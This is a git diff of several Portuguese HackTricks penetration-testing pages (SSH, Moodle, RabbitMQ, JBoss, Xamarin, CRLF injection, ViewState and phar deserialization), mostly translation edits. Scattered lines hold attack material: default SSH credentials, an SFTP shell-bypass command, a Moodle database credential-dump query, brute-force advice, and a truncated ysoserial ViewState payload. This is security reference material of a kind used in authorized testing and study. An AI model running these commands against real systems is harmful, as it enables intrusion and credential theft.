* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -6,7 +6,7 @@
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -52,11 +52,11 @@ Explicado neste [**vídeo**](https://www.youtube.com/watch?v=qQicUW0svB8), você
1. **Instalar um certificado CA**: Basta **arrastar e soltar** o certificado DER do Burp **alterando a extensão** para `.crt` no celular para que ele seja armazenado na pasta Downloads e vá para `Instalar um certificado` -> `Certificado CA`
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
* Verifique se o certificado foi armazenado corretamente indo para `Credenciais confiáveis` -> `USUÁRIO`
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
2. **Torná-lo confiável pelo sistema**: Baixe o módulo Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (um arquivo .zip), **arraste e solte** no celular, vá para o aplicativo **Magics** no celular na seção **`Módulos`**, clique em **`Instalar a partir do armazenamento`**, selecione o módulo `.zip` e uma vez instalado, **reinicie** o celular:

View file

@ -34,13 +34,13 @@ Ele é executado junto com o Objective-C Runtime. Os ambientes de execução sã
O diagrama abaixo representa essa arquitetura:
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### O que é o .Net Runtime e o Mono Framework?
### O que é .Net Runtime e Mono Framework?
**O framework .Net é um conjunto de assemblies, classes e namespaces** que os desenvolvedores podem usar para criar aplicativos; o .Net Runtime executa o código compilado, e o processo é chamado de execução de código gerenciado. O .NET Runtime oferece várias funcionalidades que garantem a independência de plataforma e são compatíveis com versões mais antigas do framework.
**.Net framework é um conjunto de assemblies, classes e namespaces** que os desenvolvedores podem usar para criar aplicativos; o .Net Runtime executa o código compilado, e o processo é chamado de execução de código gerenciado. O .NET Runtime oferece várias funcionalidades que garantem a independência de plataforma e são compatíveis com versões mais antigas do framework.
**O Mono Framework** foi iniciado em 2005 como uma implementação do .NET Framework para Linux (Ximian/SuSe/Novell). Patrocinado pela Microsoft e liderado pela Xamarin, o Mono é a implementação de código aberto do framework .NET com base nos padrões ECMA para Common Language Runtime e C#.
**Mono Framework** foi iniciado em 2005 como uma implementação do .NET Framework para Linux (Ximian/SuSe/Novell). Patrocinado pela Microsoft e liderado pela Xamarin, o Mono é a implementação de código aberto do framework .NET com base nos padrões ECMA para Common Language Runtime e C#.
## Técnicas de Engenharia Reversa para Aplicativos Xamarin
@ -56,12 +56,12 @@ O **Visual Studio** descompila o código gerenciado, mesmo na ausência de símb
Existem duas opções para compilar código Xamarin baseado em C# em um aplicativo, ou seja, **compilação just-in-time e compilação ahead-of-time**. A forma de compilação afeta como o código do aplicativo é enviado dentro do arquivo apk ou ipa. Vamos dar uma olhada rápida nisso abaixo:
\- **Android**: O Xamarin permite que você compile usando **as opções JIT e AOT para Android**. Também há uma maneira de obter a maior velocidade de execução usando o modo Hybrid AOT. Observe que o modo Full AOT está disponível apenas para a licença Enterprise.
\- **Android**: O Xamarin permite que você compile usando **as opções JIT e AOT para Android**. Também há uma maneira de obter a maior velocidade de execução usando o modo híbrido AOT. Observe que o modo AOT completo está disponível apenas para a licença Enterprise.
\- **iOS**: Existe apenas uma opção no caso do iOS, **compilação ahead-of-time**. Isso ocorre devido às políticas da Apple, que proíbem a execução de código gerado dinamicamente em um dispositivo.
{% hint style="info" %}
Se você encontrar um aplicativo compilado com Full AOT e se os arquivos de assembly IL forem removidos para reduzir o tamanho da compilação pelo desenvolvedor, a engenharia reversa exigirá uma etapa adicional de extração dos arquivos dll dos arquivos .dll.so da pasta lib ou do arquivo `libmonodroid_bundle_app.so`. Se for um aplicativo compilado com Hybrid AOT e os arquivos IL ainda estiverem presentes no pacote do aplicativo, podemos usá-los para engenharia reversa do aplicativo.
Se você encontrar um aplicativo compilado com AOT completo e se os arquivos de assembly IL forem removidos para reduzir o tamanho da compilação pelo desenvolvedor, a reversão exigirá uma etapa adicional de extração dos arquivos dll dos arquivos .dll.so da pasta lib ou do arquivo `libmonodroid_bundle_app.so`. Se for um aplicativo compilado com AOT híbrido e os arquivos IL ainda estiverem presentes no pacote do aplicativo, podemos usá-los para engenharia reversa do aplicativo.
{% endhint %}
## Obtendo os arquivos dll do APK/IPA
@ -79,7 +79,7 @@ pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
```
No caso do iOS, **os arquivos DLL dentro dos arquivos IPA podem ser carregados diretamente** em um descompilador (não é necessário descompactar nada).
**A maioria do código do aplicativo pode ser encontrado ao descompilar os arquivos DLL**. Além disso, observe que os aplicativos baseados no Framework Xamarin contêm 90% do código comum nas compilações de todas as plataformas, como iOS e Android, etc.
**A maioria do código do aplicativo pode ser encontrado quando descompilamos os arquivos DLL**. Além disso, observe que os aplicativos baseados no Xamarin Framework contêm 90% do código comum nas compilações de todas as plataformas, como iOS e Android, etc.
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

View file

@ -12,13 +12,13 @@
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
## Informações básicas
## Informações Básicas
Você pode aprender mais sobre o RabbitMQ em [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\
Nesta porta, você pode encontrar o console web do RabbitMQ Management se o [plugin de gerenciamento](https://www.rabbitmq.com/management.html) estiver habilitado.\
@ -56,7 +56,7 @@ Content-Length: 267
* `port:15672 http`
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
@ -66,7 +66,7 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -12,7 +12,7 @@
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
@ -35,7 +35,7 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
**Bibliotecas SSH (implementando o lado do servidor):**
* [libssh](https://www.libssh.org) - Biblioteca C multiplataforma que implementa o protocolo SSHv2, com bindings em [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) e [R](https://github.com/ropensci/ssh); é usado pelo KDE para sftp e pelo GitHub para a infraestrutura de SSH do git
* [libssh](https://www.libssh.org) - Biblioteca C multiplataforma que implementa o protocolo SSHv2, com bindings em [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) e [R](https://github.com/ropensci/ssh); é usado pelo KDE para sftp e pelo GitHub para a infraestrutura SSH do git
* [wolfSSH](https://www.wolfssl.com/products/wolfssh/) - Biblioteca de servidor SSHv2 escrita em ANSI C e direcionada para ambientes embarcados, RTOS e com recursos limitados
* [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) - A biblioteca Java Apache SSHD é baseada no Apache MINA
* [paramiko](https://github.com/paramiko/paramiko) - Biblioteca de protocolo SSHv2 em Python
@ -149,7 +149,7 @@ Para mais informações, execute `crackmapexec ssh --help`.
## Credenciais padrão
| **Fabricante** | **Nomes de usuário** | **Senhas** |
| **Fornecedor** | **Nomes de usuário** | **Senhas** |
| -------------- | ------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
@ -168,7 +168,7 @@ Para mais informações, execute `crackmapexec ssh --help`.
## SSH-MitM
Se você estiver na rede local como a vítima que vai se conectar ao servidor SSH usando nome de usuário e senha, você pode tentar **realizar um ataque MitM para roubar essas credenciais**:
Se você estiver na rede local como a vítima que vai se conectar ao servidor SSH usando nome de usuário e senha, você pode tentar **realizar um ataque MitM para roubar essas credenciais:**
**Caminho do ataque:**
@ -184,7 +184,7 @@ Para capturar e realizar o MitM real, você pode usar técnicas como ARP spoofin
### Login de root
Por padrão, a maioria das implementações de servidor SSH permitirá o login de root. É aconselhável desativá-lo, porque se as credenciais dessa conta vazarem, os invasores obterão privilégios administrativos diretamente e isso também permitirá que os invasores conduzam ataques de força bruta nessa conta.
Por padrão, a maioria das implementações de servidor SSH permitirá o login de root. É aconselhável desativá-lo, porque se as credenciais dessa conta vazarem, os invasores obterão privilégios administrativos diretamente e isso também permitirá que os invasores realizem ataques de força bruta nessa conta.
**Como desativar o login de root para o openSSH:**
@ -195,7 +195,7 @@ Por padrão, a maioria das implementações de servidor SSH permitirá o login d
### Execução de comandos SFTP
Outra configuração incorreta comum do SSH é frequentemente vista na configuração do SFTP. Na maioria das vezes, ao criar um servidor SFTP, o administrador deseja que os usuários tenham acesso SFTP para compartilhar arquivos, mas não para obter um shell remoto na máquina. Portanto, eles pensam que criar um usuário, atribuir a ele um shell reservado (como `/usr/bin/nologin` ou `/usr/bin/false`) e restringi-lo em uma prisão é suficiente para evitar o acesso ou abuso de shell em todo o sistema de arquivos. Mas eles estão errados, **um usuário pode solicitar a execução de um comando logo após a autenticação antes que seu comando ou shell padrão seja executado**. Portanto, para ignorar o shell reservado que negará o acesso ao shell, basta solicitar a execução de um comando (por exemplo, `/bin/bash`) antes, apenas fazendo:
Outra configuração incorreta comum do SSH é frequentemente vista na configuração do SFTP. Na maioria das vezes, ao criar um servidor SFTP, o administrador deseja que os usuários tenham acesso SFTP para compartilhar arquivos, mas não para obter um shell remoto na máquina. Portanto, eles pensam que criar um usuário, atribuir a ele um shell reservado (como `/usr/bin/nologin` ou `/usr/bin/false`) e restringi-lo em uma prisão é suficiente para evitar o acesso ou abuso de shell em todo o sistema de arquivos. Mas eles estão errados, **um usuário pode solicitar a execução de um comando logo após a autenticação antes que seu comando ou shell padrão seja executado**. Portanto, para contornar o shell reservado que negará o acesso ao shell, basta solicitar a execução de um comando (por exemplo, `/bin/bash`) antes, apenas fazendo:
```
$ ssh -v noraj@192.168.1.94 id
...
@ -264,7 +264,7 @@ Se você conseguir acessar o arquivo "_froot_" via web, poderá listar a pasta r
### Métodos de autenticação
Em ambientes de alta segurança, é comum habilitar apenas autenticação baseada em chave ou autenticação de dois fatores em vez da autenticação simples baseada em senha. No entanto, muitas vezes os métodos de autenticação mais fortes são habilitados sem desabilitar os mais fracos. Um caso frequente é habilitar `publickey` na configuração do openSSH e defini-lo como o método padrão, mas não desabilitar `password`. Portanto, usando o modo verbose do cliente SSH, um invasor pode ver que um método mais fraco está habilitado:
Em ambientes de alta segurança, é comum habilitar apenas autenticação baseada em chave ou autenticação de dois fatores em vez da autenticação simples baseada em senha. No entanto, muitas vezes os métodos de autenticação mais fortes são habilitados sem desabilitar os mais fracos. Um caso frequente é habilitar `publickey` na configuração do openSSH e defini-lo como o método padrão, mas não desabilitar `password`. Portanto, usando o modo verbose do cliente SSH, um atacante pode ver que um método mais fraco está habilitado:
```
$ ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
@ -298,7 +298,7 @@ id_rsa
* Você pode encontrar guias interessantes sobre como fortalecer o SSH em [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês, escrita e falada, é necessária_).

View file

@ -8,11 +8,11 @@
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
@ -38,7 +38,7 @@ Você pode expor **servlets de gerenciamento** através dos seguintes caminhos d
```
inurl:status EJInvokerServlet
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).

View file

@ -12,7 +12,7 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
@ -51,9 +51,9 @@ Para usar o `moodlescan`, basta executar o comando seguido pelo URL da instalaç
moodlescan https://example.com/moodle
```
O `moodlescan` irá então iniciar a varredura e exibir os resultados na tela. É importante analisar cuidadosamente os resultados para identificar quaisquer vulnerabilidades encontradas e tomar as medidas necessárias para corrigi-las.
O `moodlescan` irá então iniciar a varredura e exibir os resultados na tela. É importante ressaltar que essa ferramenta deve ser usada apenas em ambientes autorizados e com permissão do proprietário do sistema. O uso indevido do `moodlescan` pode ser considerado ilegal e resultar em consequências legais.
É importante ressaltar que o `moodlescan` deve ser usado apenas em ambientes autorizados e com permissão do proprietário do sistema. O uso indevido dessa ferramenta pode ser considerado ilegal e resultar em consequências legais.
Em resumo, o `moodlescan` é uma ferramenta poderosa para testar a segurança de instalações do Moodle e identificar possíveis vulnerabilidades.
```bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
@ -116,11 +116,13 @@ Durante um teste de penetração em um site Moodle, uma etapa importante é enco
Uma maneira comum de encontrar as credenciais do banco de dados é explorar o código-fonte do site Moodle. Procure por arquivos como `config.php` ou `config-dist.php`, que geralmente contêm as informações de conexão com o banco de dados.
Outra abordagem é realizar uma análise de tráfego usando ferramentas como o Wireshark. Monitore o tráfego de rede enquanto realiza ações no site Moodle, como fazer login ou acessar páginas específicas. Procure por pacotes que contenham informações de autenticação do banco de dados, como nomes de usuário e senhas.
Outra abordagem é explorar as configurações do servidor web. Verifique se há arquivos de configuração do servidor web, como `httpd.conf` ou `nginx.conf`, que possam conter as credenciais do banco de dados.
Além disso, você pode tentar explorar vulnerabilidades conhecidas no Moodle que possam expor as credenciais do banco de dados. Verifique se há versões desatualizadas ou vulnerabilidades conhecidas que possam ser exploradas para obter acesso às informações do banco de dados.
Além disso, é possível explorar vulnerabilidades conhecidas no Moodle que possam expor as credenciais do banco de dados. Por exemplo, verifique se o site está executando uma versão desatualizada do Moodle que possa ser afetada por uma vulnerabilidade conhecida.
Uma vez que você tenha as credenciais do banco de dados, poderá usá-las para acessar diretamente o banco de dados do Moodle e realizar atividades como extração de dados, modificação de registros ou até mesmo a exclusão de informações sensíveis.
Uma vez que as credenciais do banco de dados sejam encontradas, elas podem ser usadas para acessar o banco de dados do Moodle e realizar atividades maliciosas, como exfiltrar dados confidenciais ou modificar registros.
É importante ressaltar que a busca por credenciais do banco de dados deve ser realizada apenas em um ambiente controlado e autorizado, como parte de um teste de penetração ético. O acesso não autorizado a sistemas ou dados é ilegal e pode resultar em consequências legais graves.
```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```
@ -130,19 +132,29 @@ To dump credentials from a database, you can follow these steps:
1. Identify the target database: Determine the type of database being used, such as MySQL, PostgreSQL, or Oracle.
2. Enumerate the database: Use tools like Nmap or SQLMap to scan the network and identify the running database services.
2. Enumerate the database: Use tools like Nmap or SQLMap to identify the database server and its version.
3. Exploit vulnerabilities: Exploit any known vulnerabilities in the database software or misconfigurations to gain unauthorized access.
3. Exploit vulnerabilities: Exploit any known vulnerabilities in the database server or its associated web application to gain unauthorized access.
4. Extract credentials: Once access is gained, use SQL queries or tools like SQLDump to extract the credentials stored in the database.
4. Gain database access: Once you have gained access to the database server, you can use various techniques to extract credentials. These techniques may include:
5. Analyze the extracted data: Review the dumped credentials to identify usernames, passwords, and other relevant information.
- Dumping the user table: Retrieve the usernames and hashed passwords from the user table.
- Extracting configuration files: Look for configuration files that may contain credentials, such as database connection strings or API keys.
- Exploiting weak encryption: If the passwords are stored using weak encryption algorithms, you can attempt to decrypt them.
- Exploiting SQL injection: If the web application is vulnerable to SQL injection, you can execute queries to extract credentials from the database.
- Brute-forcing credentials: Use tools like Hydra or Medusa to perform brute-force attacks and guess weak passwords.
It is important to note that extracting credentials from a database without proper authorization is illegal and unethical. This information is provided for educational purposes only and should not be used for any malicious activities. Always ensure you have proper authorization and follow ethical guidelines when performing any security testing or penetration testing activities.
5. Analyze the extracted credentials: Once you have extracted the credentials, analyze them to determine their validity and potential impact.
It is important to note that extracting credentials from a database without proper authorization is illegal and unethical. These techniques should only be used for legitimate purposes, such as penetration testing or securing your own systems. Always ensure you have proper authorization and follow ethical guidelines when performing any security assessments.
```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).

View file

@ -12,9 +12,9 @@
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -223,7 +223,7 @@ A melhor técnica de prevenção é não usar a entrada dos usuários diretament
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).

View file

@ -12,7 +12,7 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
@ -53,8 +53,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
### Caso de teste 1.5 - Como o caso de teste 1, mas o cookie ViewState não é enviado pelo servidor
Os desenvolvedores podem **remover o ViewState** para que ele não faça parte de uma solicitação HTTP (o usuário não receberá esse cookie).\
Pode-se assumir que, se o **ViewState** não estiver presente, a implementação estará **segura** contra possíveis vulnerabilidades relacionadas à desserialização do ViewState.\
No entanto, esse não é o caso. Se adicionarmos o parâmetro **ViewState** ao corpo da solicitação e enviarmos nossa carga útil serializada criada usando o ysoserial, ainda poderemos obter **execução de código**, como mostrado no **Caso 1**.
Pode-se assumir que se o **ViewState** não estiver presente, a implementação estará **segura** contra possíveis vulnerabilidades relacionadas à desserialização do ViewState.\
No entanto, esse não é o caso. Se adicionarmos o parâmetro **ViewState** ao corpo da solicitação e enviarmos nossa carga útil serializada criada usando o ysoserial, ainda poderemos obter **execução de código** como mostrado no **Caso 1**.
### Caso de Teste: 2 - .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false
@ -201,7 +201,7 @@ solicitação fora de banda com o nome de usuário atual
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês, escrita e falada, é necessária_).
@ -215,6 +215,6 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,4 +1,4 @@
# Deserialização phar://
# Deserialização de phar://
<details>
@ -12,13 +12,13 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
Arquivos **Phar** (PHP Archive) contêm metadados em formato serializado, então, quando analisados, esses metadados são desserializados e você pode tentar abusar de uma vulnerabilidade de **desserialização** dentro do código **PHP**.
Arquivos **Phar** (PHP Archive) contêm **metadados em formato serializado**, então, quando analisados, esses **metadados** são **desserializados** e você pode tentar abusar de uma vulnerabilidade de **desserialização** dentro do código **PHP**.
A melhor coisa sobre essa característica é que essa desserialização ocorrerá mesmo usando funções PHP que não avaliam código PHP, como **file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**.
@ -85,7 +85,7 @@ php vuln.php
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
